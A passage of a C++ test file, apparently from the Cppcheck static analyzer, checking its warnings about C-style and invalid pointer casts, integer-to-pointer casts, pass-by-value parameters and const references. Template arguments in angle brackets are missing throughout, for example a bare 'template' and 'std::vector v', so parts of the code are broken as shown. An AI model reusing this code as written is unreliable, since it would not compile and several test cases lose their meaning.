checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to 